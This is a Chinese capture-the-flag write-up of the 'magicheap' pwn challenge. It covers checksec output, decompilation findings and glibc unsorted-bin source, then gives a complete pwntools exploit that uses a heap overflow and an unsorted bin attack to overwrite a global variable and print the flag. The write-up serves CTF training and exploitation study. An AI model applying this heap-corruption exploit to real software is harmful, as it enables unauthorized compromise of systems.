实验环境:
1
运行查看
2
查看文件类型和保护机制
$ file magicheap
magicheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=7dbbc580bc50d383c3d8964b8fa0e56dbda3b5f1, not stripped
$ checksec --file=magicheap
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 87) Symbols No 0 2magicheap
3
IDA反编译分析
由分析可知,当输入的choice==4869且存储在bss段的全局变量magic>0x1305时,就能打印出flag。注意到这里是要想办法让magic变成一个很大的数,而unsortedbin attack的攻击效果就是让任意地址的内容改成一个较大的数值,因此该题可以尝试unsortedbin attack。
(5) main->delete_heap
这里顺带贴一下将chunk从unsortedbin取下来的过程:
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
__builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
size = chunksize(victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
/*如果bck被修改会不符合这里的要求*/
if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
....
}
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
于是,当chunk1的bk被覆盖修改之后,从unsorted bin移除chunk的过程可总结如下:
victim = unsorted_chunks(av)->bk = chunk1-16
4
调试分析
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (base, system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './magicheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
pause()
def create(size, content):
ru("choice :")
sl("1")
ru("Heap : ")
sl(str(size))
ru("heap:")
sl(content)
def edit(idx, size, content):
ru("choice :")
sl("2")
ru("Index :")
sl(str(idx))
ru("Heap : ")
sl(str(size))
ru("heap : ")
sl(content)
def delete(idx):
ru("choice :")
sl("3")
ru("Index :")
sl(str(idx))
p.interactive()
create(300,'a'*300) # 0
create(400,'a'*400) # 1
create(500,'a'*500) # 2
delete(1)
#dbg()
fake_chunk_addr = 0x6020b0
# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4
payload = 'b'*0x130+p64(0)+p64(0x1a1)+p64(0)+p64(fake_chunk_addr)
edit(0,700,payload)
dbg()
create(400,'c'*400)
dbg()
ru("choice :")
sl(str(4869))
ru("Congrt !\n")
flag = ru("\n")
print(flag)
5
完整Exp
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (base, system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(delim, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(delim, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './magicheap'
context.binary = binary
elf = ELF(binary,checksec=False)
#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)
p = process(binary)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
def dbg():
gdb.attach(p)
pause()
def create(size, content):
ru("choice :")
sl("1")
ru("Heap : ")
sl(str(size))
ru("heap:")
sl(content)
def edit(idx, size, content):
ru("choice :")
sl("2")
ru("Index :")
sl(str(idx))
ru("Heap : ")
sl(str(size))
ru("heap : ")
sl(content)
def delete(idx):
ru("choice :")
sl("3")
ru("Index :")
sl(str(idx))
create(300,'a'*300) # 0
create(400,'a'*400) # 1
create(500,'a'*500) # 2
delete(1)
#dbg()
fake_chunk_addr = 0x6020b0
# chunk0 user data + chunk1 prev size + chunk1 size + chunk1 fd + &magic-4
payload = 'b'*0x130+p64(0)+p64(0x1a1)+p64(0)+p64(fake_chunk_addr)
edit(0,700,payload)
#dbg()
create(400,'c'*400)
#dbg()
ru("choice :")
sl(str(4869))
ru("Congrt !\n")
flag = ru("\n")
print(flag)
p.interactive()
看雪ID:直木
https://bbs.pediy.com/user-home-830671.htm
*本文由看雪论坛 直木 原创,转载请注明来自看雪社区
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!